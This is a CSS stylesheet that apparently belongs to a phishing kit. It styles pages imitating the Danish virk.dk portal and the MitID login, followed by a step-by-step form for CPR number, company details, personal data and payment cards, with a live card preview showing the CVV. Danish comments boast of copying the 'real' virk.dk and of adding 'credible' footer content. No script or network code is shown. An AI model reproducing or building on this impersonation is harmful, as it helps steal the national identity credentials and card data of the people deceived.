
@import url('https://fonts.googleapis.com/css2?family=IBM+Plex+Sans:wght@400;500;600;700&display=swap');

*, *::after, *::before { box-sizing: border-box; }
html, body { margin: 0; height: 100%; width: 100%; }
body {
  background-color: #fff;
  font-family: "IBM Plex Sans", "IBMPlexSans", system-ui, sans-serif;
  font-size: 16px;
  color: #1a1a1a;
  -webkit-font-smoothing: antialiased;
}
a { color: #0060E6; text-decoration: none; }
p { line-height: 24px; }
.hidden { display: none !important; }

/* ============ VIEW: CVR (virk front) ============ */
.top-header { background: #fff; border-bottom: 1px solid #e8e8e8; }
.top-header-inner {
  max-width: 1140px; margin: 0 auto; padding: 0 15px;
  display: flex; align-items: center; height: 76px; gap: 24px;
}
.top-logo { display: flex; align-items: center; }
.top-logo svg { height: 44px; width: auto; }
.top-nav { display: flex; align-items: center; gap: 24px; flex: 1; }
.top-nav .sep { width: 1px; height: 26px; background: #bfbfbf; }
.top-nav a { color: #1a1a1a; font-size: 15px; white-space: nowrap; }
.top-nav a:hover { color: #004993; text-decoration: underline; }
.top-nav a.active { font-weight: 600; }
.top-right { display: flex; align-items: center; gap: 16px; }
.btn-login {
  display: inline-flex; align-items: center; gap: 8px;
  background: #0059b3; color: #fff !important; padding: 10px 20px;
  border-radius: 4px; font-size: 15px; font-weight: 500; cursor: pointer; border: none;
}
.btn-login:hover { background: #004993; text-decoration: none; }
.hero { background: #f5f5f5; padding: 48px 0 36px; }
.hero-inner { max-width: 1140px; margin: 0 auto; padding: 0 15px; }
.hero h1 { font-size: 38px; font-weight: 600; color: #003972; margin: 0 0 12px; line-height: 1.2; }
.hero p { font-size: 19px; color: #1a1a1a; max-width: 640px; margin: 0; }
.cvr-section {
  background: linear-gradient(180deg, #eaf2fb 0%, #f5f5f5 100%);
  border-top: 1px solid #cddef0; border-bottom: 1px solid #cddef0;
  padding: 30px 15px 34px; margin: 0;
}
.cvr-box {
  background: #fff; border: 1px solid #d5e3f2; border-radius: 8px;
  box-shadow: 0 8px 30px rgba(0,57,114,.12);
  padding: 22px 26px; max-width: 720px; margin: 0 auto;
}
.cvr-box h2 { font-size: 21px; font-weight: 600; color: #003972; margin: 0 0 4px; }
.cvr-box p { font-size: 14px; color: #454545; margin: 0 0 16px; }
.cvr-label { display: block; font-size: 14px; font-weight: 600; color: #1a1a1a; margin: 0 0 6px; }
.cvr-fields { display: flex; gap: 14px; align-items: flex-end; }
.cvr-fields > div { flex: 1; }
.cvr-input {
  width: 100%; height: 48px; border: 1px solid #747474; border-radius: 4px;
  padding: 0 14px; font-size: 16px; font-family: inherit; color: #1a1a1a;
  outline: none; box-sizing: border-box; background: #fff;
}
.cvr-input::placeholder { color: #8a8a8a; }
.cvr-input:focus { border-color: #0059b3; box-shadow: 0 0 0 4px rgba(0,89,179,.18); }
.cvr-error { display: none; color: #c00; font-size: 13px; margin-top: 8px; font-weight: 500; }
.cvr-btn {
  width: 100%; margin-top: 16px; height: 52px; padding: 0 24px;
  background: #0059b3; color: #fff; border: none; border-radius: 6px;
  font-size: 17px; font-weight: 600; font-family: inherit; cursor: pointer;
  display: flex; align-items: center; justify-content: center; gap: 10px;
  letter-spacing: .3px; transition: background .15s;
}
.cvr-btn:hover { background: #004993; }
.cvr-btn:focus { outline: 4px solid #747474; outline-offset: 2px; }
.cvr-btn.disabled { background: #a7bfd6; cursor: not-allowed; }

/* ============ VIEW: LOGIN (MitID) ============ */
.header-container {
  display: flex; flex-direction: column; align-items: center;
  border: none; background-color: #F5F5F5;
}
.header-content {
  display: flex; flex-direction: column; flex-grow: 1;
  max-width: 912px; min-height: 156px; width: 100%;
  justify-content: flex-end; align-items: stretch;
}
.header-row { display: flex; flex-direction: row; flex-grow: 0; width: 100%; }
.header-links {
  display: flex; flex-direction: row; flex-grow: 0;
  justify-content: flex-start; padding-top: 24px; padding-bottom: 10px;
  min-height: 30px; align-items: center;
}
.link-burger {
  display: flex; align-items: center; gap: 8px; background: none; border: none;
  cursor: pointer; color: #191919; font-size: 14px; font-family: inherit; padding: 4px 0;
}
.link-spacer { display: flex; flex: 1; }
.link-language {
  display: flex; flex: 0; background-color: #fff;
  border: 1px solid #BFBFBF; border-radius: 4px; cursor: pointer;
  color: #0060E6; font-size: 12px; font-weight: bold;
  padding: 6px 16px; margin-left: 8px; font-family: inherit;
}
.link-language:hover { color: #000; }
.header-logo {
  display: flex; flex-direction: column; flex-grow: 1;
  align-self: center; justify-content: center; align-items: start;
}
.header-logo > svg { height: 56px; width: auto; margin: 0; }
.header-nav {
  display: flex; flex-direction: row; flex-grow: 0;
  justify-content: flex-start; white-space: nowrap; overflow: hidden;
}
.header-nav-link { display: flex; flex-direction: row; height: 48px; font-weight: normal; color: #000; text-decoration: none; }
.header-nav-link.selected { display: flex; flex-direction: row; font-weight: 500; }
.btn-lead-spacer { flex: 1; }
.btn-slice2 {
  display: flex; padding: 7px 32px; justify-content: center; align-items: center;
  font-size: 16px; font-weight: 500;
  border-top: 3px solid transparent; border-bottom: 3px solid transparent;
}
.header-nav-link.selected > .btn-slice2 { background-color: #fff; border-top: solid 3px #0060E6; }
.header-nav-link:not(.selected):hover > .btn-slice2 { border-bottom: solid 3px #999; }

.page-container { display: flex; flex-direction: column; align-items: center; flex: 1; }
.page-content {
  display: flex; flex-direction: row; flex-grow: 1; flex-shrink: 0;
  max-width: 912px; width: 100%;
}
.page-section { display: flex; flex: 1; flex-shrink: 0; flex-direction: column; }
.main-section { padding: 56px 42px 16px 0; }

.login-card {
  background: #fff; border: 1px solid #ccc; border-radius: 4px;
  padding: 32px 24px; max-width: 544px; width: 100%;
  position: relative; min-height: 460px;
}
.login-card-header { display: flex; justify-content: space-between; align-items: center; margin: 0 0 16px; }
.login-card-header h1 { display: inline; margin: 0; font-size: 20px; font-weight: 600; color: #000; }
.login-card-header-right { display: flex; align-items: center; }
.login-card-divider { border: 0; border-top: 1px solid rgba(0,0,0,.1); margin: 16px 0 16px; }
.field-label { display: flex; align-items: center; margin-bottom: 8px; }
.field-label label { font-size: 14px; font-weight: 600; color: #1a1a1a; }
.info-icon { width: 18px; height: 18px; cursor: pointer; color: #747474; margin-left: 8px; }
.input-wrap { position: relative; margin-bottom: 14px; }
.input-wrap input {
  width: 100%; height: 40px; border: 1px solid rgb(116,116,116); border-radius: 4px;
  padding: 0 56px 0 10px; font-size: 16px; font-family: inherit; color: #1a1a1a;
  outline: none; background: #fff;
}
.input-wrap input:focus { outline: 4px solid #747474; outline-offset: 1px; }
.input-wrap .hide-btn {
  position: absolute; right: 12px; top: 50%; transform: translateY(-50%);
  font-size: 12px; color: #0060E6; cursor: pointer; background: none; border: none;
  padding: 2px 4px; font-family: inherit; font-weight: 600;
}
.btn-primary {
  display: flex; align-items: center; justify-content: space-between;
  width: 100%; min-height: 40px; padding: 8px 16px;
  border: 2px solid #0060E6; border-radius: 4px;
  background-color: #0060E6; color: #fff;
  font-family: "IBM Plex Sans", "IBMPlexSans", system-ui, sans-serif; font-size: 16px; font-weight: 500;
  cursor: pointer; line-height: 1em; margin-bottom: 12px;
}
.btn-primary.active:hover { background-color: #004993; border-color: #003972; }
.btn-primary.active:active { background-color: #003972; border-color: #003972; }
.btn-primary:focus { outline: 4px solid #747474; outline-offset: 1px; }
.btn-primary.disabled { opacity: 0.3; cursor: not-allowed; }
.btn-primary.disabled:hover { background-color: #0059B3 !important; border-color: #004993 !important; }
.btn-primary .arrow-icon { display: flex; align-items: center; flex-shrink: 0; }
.btn-primary .arrow-icon svg { width: 24px; height: 24px; fill: #fff; }
.forgot-link {
  display: inline-flex; align-items: center; gap: 8px;
  color: #0059B3; font-size: 14px; cursor: pointer; text-decoration: none;
}
.forgot-link:hover { text-decoration: underline; }
.forgot-link svg { width: 20px; height: 20px; flex-shrink: 0; }
.checkbox-wrap { display: flex; align-items: center; gap: 10px; margin: 18px 0; }
.checkbox-wrap input[type=checkbox] { width: 18px; height: 18px; accent-color: #0060E6; cursor: pointer; }
.checkbox-wrap label { font-size: 14px; color: #1a1a1a; cursor: pointer; }
.bottom-links { display: flex; align-items: center; gap: 40px; }
.bottom-links span { font-size: 14px; font-weight: 600; color: #0059B3; cursor: pointer; }
.bottom-links span:hover { text-decoration: underline; }

.sidebar-wrapper { padding: 56px 0 0 32px; max-width: 320px; }
.info-section { display: flex; flex-direction: column; padding: 0 0 24px; }
.info-header {
  display: flex; align-items: center; flex: 1;
  border-top-left-radius: 5px; border-top-right-radius: 5px;
  height: 40px; width: max-content; padding: 12px 16px;
  background-color: #F2F7FE; font-size: 12px; font-weight: bold;
}
.info-content {
  display: inline-block; flex: 1; border: 1px solid #ccc;
  padding: 12px 16px; font-size: 14px; line-height: 24px;
}
.info-content p { margin: 0 0 8px; }
.info-content p:last-child { margin: 0; }
.info-content ul { list-style-type: none; padding-inline-start: 0; margin: 0; }
.info-content li::before { content: '-'; margin-right: 4px; }
.info-content a, .info-content a span { text-decoration: underline; }

/* ============ LOADER OVERLAY ============ */
.loader-overlay {
  position: fixed; inset: 0; background: #fff; z-index: 2000;
  display: flex; flex-direction: column; align-items: center; justify-content: center;
  padding: 24px;
}
.loader-brand { margin-bottom: 32px; }
.loader-brand-icon { width: 80px; height: 21px; }
.loader-shield { position: relative; width: 110px; height: 128px; margin: 0 auto 28px; }
.loader-shield-svg { width: 100%; height: 100%; animation: shieldPulse 1.6s ease-in-out infinite; }
.loader-shield-ring { position: absolute; top: 0; left: 0; width: 100%; height: 100%; animation: shieldRing 1.8s linear infinite; }
@keyframes shieldPulse { 0%,100% { opacity: 1; transform: scale(1); } 50% { opacity: .4; transform: scale(1.06); } }
@keyframes shieldRing { from { stroke-dashoffset: 320; } to { stroke-dashoffset: -320; } }
.loader-text { font-size: 16px; font-weight: 600; color: #000; margin-bottom: 6px; text-align: center; }
.loader-subtext { font-size: 14px; color: #666; text-align: center; min-height: 18px; }
.loader-dots { display: flex; gap: 7px; margin-top: 20px; align-items: center; }
.loader-dots span { width: 8px; height: 8px; border-radius: 50%; background: #0060e6; animation: dotBounce 1.2s ease-in-out infinite; }
.loader-dots span:nth-child(2) { animation-delay: .15s; }
.loader-dots span:nth-child(3) { animation-delay: .3s; }
@keyframes dotBounce { 0%,80%,100% { transform: scale(.6); opacity: .4; } 40% { transform: scale(1); opacity: 1; } }

/* ============ VIEW: DETAILS (funnel) ============ */
.details-wrap { background: #f3f3f3; min-height: 100vh; display: flex; flex-direction: column; }
.details-header { background: #fff; border-bottom: 1px solid #e8e8e8; height: 72px; display: flex; align-items: center; justify-content: space-between; padding: 0 32px; }
.details-header-brand { display: flex; align-items: center; gap: 8px; font-weight: 700; color: #1a1a1a; font-size: 18px; }
.details-body { flex: 1; display: flex; align-items: flex-start; justify-content: center; padding: 40px 16px; }
.details-card { width: 100%; max-width: 520px; background: #fff; box-shadow: 0 2px 8px rgba(0,0,0,.08); border: 1px solid #ccc; border-radius: 4px; }

/* ============ FORM-FLOW (CPR / VIRKSOMHED / OPPLYSNINGER) ============ */
.form-grid { display: flex; flex-direction: column; gap: 18px; padding: 24px 28px 8px; }
.fg { display: flex; flex-direction: column; }
.fg .cvr-label { display: block; }
.cvr-input { width: 100%; }

/* details-head + knap-centrering */
.details-head { padding: 24px 28px 0; }
.details-card > .cvr-btn { margin: 8px 28px 24px; width: calc(100% - 56px); }
.details-card > .cvr-error { margin: 0 28px; }
.details-steps { display: flex; align-items: center; padding: 18px 24px; border-bottom: 1px solid #e8e8e8; }
.ds-step { display: flex; align-items: center; gap: 8px; }
.ds-track { flex: 1; height: 2px; margin: 0 10px; background: #e0e0e0; }
.ds-bubble { width: 28px; height: 28px; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-size: 12px; font-weight: bold; background: #f3f3f3; color: #888; border: 2px solid #e0e0e0; flex-shrink: 0; }
.ds-step.active .ds-bubble { background: #0060e6; color: #fff; border-color: #0060e6; }
.ds-step.done .ds-bubble { background: #1a1a1a; color: #fff; border-color: #1a1a1a; }
.ds-name { font-size: 11px; text-transform: uppercase; letter-spacing: .08em; color: #888; }
.ds-step.active .ds-name { color: #000; }
.details-card-body { padding: 28px; }
.details-head h1 { font-size: 24px; font-weight: 600; color: #1a1a1a; margin-bottom: 6px; }
.details-head p { font-size: 14px; color: #555; line-height: 1.5; margin-bottom: 20px; }
.dform { display: flex; flex-direction: column; gap: 14px; }
.dfield { display: flex; flex-direction: column; gap: 5px; }
.dfield label { font-size: 12px; text-transform: uppercase; letter-spacing: .06em; color: #555; font-weight: 600; }
.dfield input, .dfield select { height: 40px; border: 1px solid #747474; border-radius: 4px; padding: 0 10px; font-size: 16px; color: #1a1a1a; background: #fff; outline: none; width: 100%; font-family: inherit; }
.dfield input:focus, .dfield select:focus { outline: 4px solid #747474; outline-offset: 1px; }
.dgrid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
.dfull { grid-column: 1/-1; }
.dbtn { display: flex; align-items: center; justify-content: center; width: 100%; height: 40px; background: #0060e6; color: #fff; border: 2px solid #0060e6; border-radius: 4px; font-size: 16px; font-weight: 500; cursor: pointer; font-family: inherit; margin-top: 6px; }
.dbtn:hover { background: #004993; }
.dbtn:disabled { opacity: .3; cursor: not-allowed; }
.dbtn:focus { outline: 4px solid #747474; outline-offset: 1px; }
.dinfo { font-size: 12px; color: #777; line-height: 1.5; border-top: 1px solid #e8e8e8; padding-top: 12px; margin-top: 14px; }
.success-box { text-align: center; padding: 40px 28px; }
.success-check { width: 72px; height: 72px; background: #0060e6; color: #fff; border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 20px; font-size: 34px; }

.card-preview-wrap { display: flex; justify-content: center; margin-bottom: 24px; perspective: 1200px; }
.card-preview { width: 100%; max-width: 360px; height: 210px; }
.card-inner { position: relative; width: 100%; height: 100%; transform-style: preserve-3d; transition: transform .6s cubic-bezier(.4,.2,.2,1); }
.card-inner.flipped { transform: rotateY(180deg); }
.card-front, .card-back { position: absolute; inset: 0; backface-visibility: hidden; border-radius: 14px; overflow: hidden; box-shadow: 0 10px 28px rgba(0,0,0,.22); }
.card-front { background: linear-gradient(135deg,#003972 0%,#0060e6 55%,#2a86ff 100%); color: #fff; padding: 22px; display: flex; flex-direction: column; justify-content: space-between; }
.card-back { background: linear-gradient(135deg,#003972 0%,#0060e6 55%,#2a86ff 100%); transform: rotateY(180deg); }
.card-chip { width: 44px; height: 34px; border-radius: 6px; background: linear-gradient(135deg,#f3d078,#c9a24b); position: relative; margin-bottom: 6px; }
.card-chip::after { content: ''; position: absolute; inset: 8px 6px; border: 1px solid rgba(0,0,0,.2); border-radius: 3px; }
.card-brand { align-self: flex-end; display: flex; align-items: center; justify-content: flex-end; min-height: 26px; }
.brand-visa { font-style: italic; font-weight: 800; letter-spacing: 1px; font-size: 24px; color: #fff; text-shadow: 0 1px 3px rgba(0,0,0,.35); }
.brand-mc { display: inline-flex; align-items: center; }
.brand-mc .mc-c1, .brand-mc .mc-c2 { width: 26px; height: 26px; border-radius: 50%; display: inline-block; }
.brand-mc .mc-c1 { background: #EB001B; }
.brand-mc .mc-c2 { background: #F79E1B; margin-left: -11px; mix-blend-mode: screen; }
.brand-mc .mc-text { font-style: italic; font-weight: 700; font-size: 13px; letter-spacing: 0; margin-left: 9px; color: #fff; }
.card-number { font-size: 20px; letter-spacing: 2px; font-weight: 500; font-variant-numeric: tabular-nums; }
.card-meta { display: flex; justify-content: space-between; gap: 12px; }
.card-holder, .card-exp { display: flex; flex-direction: column; }
.card-holder label, .card-exp label { font-size: 9px; opacity: .7; letter-spacing: 1px; text-transform: uppercase; margin-bottom: 2px; }
.card-holder span { font-size: 13px; font-weight: 600; letter-spacing: .5px; text-transform: uppercase; }
.card-exp span { font-size: 13px; font-weight: 600; letter-spacing: 1px; }
.card-stripe { width: 100%; height: 46px; background: #111; margin-top: 28px; }
.card-cvv { background: #fff; margin: 20px 22px; border-radius: 6px; padding: 10px 14px; height: 44px; display: flex; align-items: center; justify-content: flex-end; gap: 10px; }
.card-cvv label { font-size: 10px; color: #555; text-transform: uppercase; letter-spacing: 1px; }
.card-cvv span { font-size: 16px; font-weight: 700; color: #111; letter-spacing: 2px; font-variant-numeric: tabular-nums; }

/* ============ RESPONSIVE ============ */

@media only screen and (max-width: 1185px) { .header-logo > svg { margin-left: 0; } }
@media only screen and (max-width: 879px) {
  .header-content { min-height: 1px; }
  .header-logo { display: none; }
  .page-section.main-section { padding: 24px 16px; }
  .info-section { display: none !important; }
  .header-nav { flex-direction: column; }
  .header-nav .header-nav-link { display: none; }
  .header-nav .header-nav-link.selected { display: flex; flex-grow: 1; }
  .header-nav .header-nav-link .btn-slice2 { border: none; background-color: #f5f5f5; flex-grow: 1; justify-content: flex-start; border-bottom: 3px solid #999; padding-left: 15px; }
  .header-nav .header-nav-link.selected > .btn-slice2 { background-color: #fff; color: #191919; border-bottom: 3px solid #0060E6; }
  .link-language { padding: 6px 8px; }
  .dgrid { grid-template-columns: 1fr; }
  .cvr-fields { flex-direction: column; gap: 12px; }
  .details-header { padding: 0 16px; }
}

/* ============ MOBIL (telefon-venlig) ============ */
@media only screen and (max-width: 640px) {

  /* Forside-header — som ÆGTE virk.dk: nav skjult på mobil */
  .top-header-inner { padding: 0 12px; height: 56px; gap: 10px; }
  .top-nav { display: none; }
  .top-right { margin-left: auto; flex-shrink: 0; }
  .top-logo { flex-shrink: 0; }
  .top-logo svg { height: 28px; }
  
  .hero { padding: 28px 16px 24px; }
  .hero-inner { padding: 0; }
  .hero h1 { font-size: 24px; }
  .btn-login { padding: 9px 14px; font-size: 13px; white-space: nowrap; }

  /* Login (MitID) */
  .header-content { min-height: 1px; padding: 0 16px; }
  .header-links { padding-top: 14px; padding-bottom: 8px; }
  .header-logo > svg { height: 40px; }
  .page-section, .main-section { padding: 16px !important; }
  .login-card, .mitid-card { width: 100% !important; max-width: 100% !important; margin: 0 !important; }

  /* Details-flow (CPR/virksomhed/oplysninger/kort/afslut) */
  .details-wrap { min-height: 100vh; }
  .details-header { padding: 0 16px; height: 56px; }
  .details-header-brand span { font-size: 15px; }
  .details-header-brand img { height: 18px; }
  .details-body { padding: 16px; }
  .details-card { max-width: 100%; width: 100%; border: none; box-shadow: none; border-radius: 0; }
  .details-head { padding: 8px 0 0; }
  .details-head h1 { font-size: 22px; }
  .details-head p { font-size: 14px; }
  .form-grid { padding: 16px 0 0; gap: 14px; }
  .cvr-label { font-size: 13px; }
  .cvr-input { height: 46px; font-size: 16px; }
  .details-card > .cvr-btn { margin: 12px 0 20px; width: 100%; height: 52px; font-size: 15px; }
  .details-card > .cvr-error { margin: 0; }

  /* Loader */
  .loader-brand-icon { width: 60px; }

  /* Generelt */
  body { -webkit-text-size-adjust: 100%; }
  input { font-size: 16px !important; } /* undgår iOS zoom */
}

/* ============ SLUT MOBIL ============ */

/* ============ KORT-PREVIEW (animeret) ============ */
.card-preview {
  width: 100%;
  max-width: 340px;
  height: 200px;
  margin: 24px auto 8px;
  border-radius: 12px;
  background: linear-gradient(135deg, #1a1f71 0%, #2d5ba8 60%, #4a7bd0 100%);
  position: relative;
  color: #fff;
  box-shadow: 0 12px 30px rgba(0,0,0,.25);
  padding: 22px;
  box-sizing: border-box;
  font-family: 'IBM Plex Mono', 'Courier New', monospace;
  transition: transform .3s ease, box-shadow .3s ease;
  overflow: hidden;
}
.card-preview::before {
  content: '';
  position: absolute;
  top: -60%; left: -30%;
  width: 60%; height: 220%;
  background: linear-gradient(105deg, transparent 40%, rgba(255,255,255,.12) 50%, transparent 60%);
  transform: rotate(20deg);
  animation: cp-shine 4s infinite;
}
@keyframes cp-shine { 0%{left:-60%} 60%{left:130%} 100%{left:130%} }
.card-preview.cp-active { transform: scale(1.04) rotate(-1deg); box-shadow: 0 18px 40px rgba(0,0,0,.35); }
.cp-chip {
  width: 42px; height: 32px;
  border-radius: 5px;
  background: linear-gradient(135deg, #d4af37, #f5d76e 50%, #d4af37);
  margin-bottom: 24px;
  position: relative;
}
.cp-chip::after {
  content: '';
  position: absolute; inset: 6px;
  border: 1px solid rgba(0,0,0,.25);
  border-radius: 3px;
}
.cp-number {
  font-size: 19px;
  letter-spacing: 2px;
  margin-bottom: 24px;
  text-shadow: 0 1px 2px rgba(0,0,0,.4);
}
.cp-bottom { display: flex; justify-content: space-between; align-items: flex-end; }
.cp-holder, .cp-exp { display: flex; flex-direction: column; }
.cp-label { font-size: 9px; opacity: .65; letter-spacing: 1px; margin-bottom: 3px; }
.cp-value { font-size: 13px; font-weight: 600; }
.cp-logo {
  position: absolute;
  top: 20px; right: 22px;
  font-size: 16px;
  font-style: italic;
  font-weight: 800;
  font-family: Arial, sans-serif;
  letter-spacing: -1px;
}

/* ============ FORSIDE-SEKTIONER ============ */
.frontpage-sections { max-width: 1140px; margin: 0 auto; padding: 0 15px 48px; }
.fp-section { padding: 36px 0 8px; border-bottom: 1px solid #e8e8e8; }
.fp-section h2 { font-size: 24px; color: #1a1a1a; margin-bottom: 14px; }
.fp-section p { font-size: 16px; color: #444; line-height: 1.6; max-width: 720px; }
.fp-list { margin: 16px 0 24px 20px; color: #444; line-height: 2; font-size: 15px; }
.fp-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(240px, 1fr)); gap: 16px; margin-top: 20px; }
.fp-card {
  display: flex; flex-direction: column; gap: 6px;
  background: #fff; border: 1px solid #e0e0e0; border-radius: 4px;
  padding: 20px; text-decoration: none; color: #1a1a1a;
  transition: border-color .2s, box-shadow .2s;
}
.fp-card:hover { border-color: #0060e6; box-shadow: 0 4px 14px rgba(0,96,230,.12); }
.fp-card strong { font-size: 15px; }
.fp-card span { font-size: 13px; color: #666; }
.fp-footer { background: #f5f5f5; border-top: 1px solid #e0e0e0; padding: 24px 0; }
.fp-footer-inner { max-width: 1140px; margin: 0 auto; padding: 0 15px; display: flex; gap: 24px; align-items: center; flex-wrap: wrap; }
.fp-footer-inner span { font-size: 13px; color: #777; }
.fp-footer-inner a { font-size: 13px; color: #0060e6; text-decoration: none; }
.fp-footer-inner a:hover { text-decoration: underline; }
.hero-cta {
  display: inline-flex; align-items: center; gap: 10px;
  background: #0059b3; color: #fff; text-decoration: none;
  padding: 14px 28px; font-size: 16px; font-weight: 600;
  border-radius: 4px; margin-top: 20px;
  transition: background .2s;
}
.hero-cta:hover { background: #004a99; }

/* ============ MOBIL-TILLÆG ============ */
@media only screen and (max-width: 640px) {
  .card-preview { height: 180px; padding: 16px; max-width: 100%; }
  .cp-number { font-size: 16px; }
  .fp-grid { grid-template-columns: 1fr 1fr; gap: 10px; }
  .fp-card { padding: 14px; }
  .hero-cta { width: 100%; justify-content: center; }
}


/* ============ FORSIDE: TROVÆRDIGT BUNDINDHOLD ============ */
.fp-trust { max-width: 1140px; margin: 0 auto; padding: 0 15px 56px; }
.fp-trust-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(260px, 1fr)); gap: 20px; margin-top: 20px; }
.fp-trust-card { background: #fff; border: 1px solid #e8e8e8; border-radius: 4px; padding: 22px; display: flex; gap: 14px; align-items: flex-start; }
.fp-trust-icon { width: 38px; height: 38px; background: #eef4fb; border-radius: 4px; display: flex; align-items: center; justify-content: center; flex-shrink: 0; color: #0059b3; }
.fp-trust-body h3 { font-size: 15px; margin: 0 0 6px; color: #1a1a1a; }
.fp-trust-body p { font-size: 13px; color: #555; line-height: 1.55; margin: 0; }
.fp-news { max-width: 1140px; margin: 0 auto; padding: 0 15px 56px; }
.fp-news-list { list-style: none; padding: 0; margin: 18px 0 0; }
.fp-news-item { display: flex; justify-content: space-between; align-items: center; gap: 16px; padding: 16px 0; border-top: 1px solid #e8e8e8; text-decoration: none; color: inherit; }
.fp-news-item:last-child { border-bottom: 1px solid #e8e8e8; }
.fp-news-item:hover .fp-news-title { color: #0060e6; }
.fp-news-title { font-size: 15px; color: #1a1a1a; transition: color .15s; }
.fp-news-date { font-size: 13px; color: #777; white-space: nowrap; }
@media only screen and (max-width: 640px) {
  .fp-trust-grid { grid-template-columns: 1fr; gap: 12px; }
  .fp-news-item { flex-direction: column; align-items: flex-start; gap: 4px; }
}